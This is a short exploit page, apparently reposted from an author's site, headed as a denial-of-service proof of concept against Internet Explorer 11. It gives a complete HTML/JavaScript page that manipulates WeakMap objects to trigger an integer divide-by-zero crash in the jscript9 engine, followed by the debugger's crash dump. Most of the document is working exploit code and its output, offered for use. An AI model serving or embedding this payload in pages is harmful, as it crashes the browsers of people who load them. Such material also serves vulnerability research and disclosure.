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Microsoft Internet Explorer 11 - WeakMap Integer Divide-by-Zero
来源：http://h0wl.pl 作者：Wylecial 发布时间：2014-06-03  
<!--
# Exploit title: Microsoft Internet Explorer 11 - WeakMap Integer
divide-by-zero DoS
# Date: 29.05.2014
# Vulnerable version: 11
# Tested on: Windows 7/8
# Author: Pawel Wylecial
# http://h0wl.pl @h0wlu
-->
  
<html>
<script>
var a = [new WeakMap];
a.push(new WeakMap);
a[1].set(a[0], a[1]);
a[0].delete(a[0]);
</script>
</html>
  
<!--
(674.2408): Integer divide-by-zero - code c0000094 (!!! second chance !!!)
eax=0087e241 ebx=04598cc0 ecx=04598cc8 edx=00000000 esi=04598cc8
edi=041f1aa0
eip=668756f0 esp=05b4b8ac ebp=05b4b8bc iopl=0 nv up ei pl nz na pe
nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b
efl=00010206
jscript9!JsUtil::WeaklyReferencedKeyDictionary<Js::DynamicObject,bool,RecyclerPointerComparer<Js::DynamicObject
const *>,1>::TryGetValueAndRemove+0x1f:
668756f0 f736 div eax,dword ptr [esi]
ds:002b:04598cc8=00000000
-->
 
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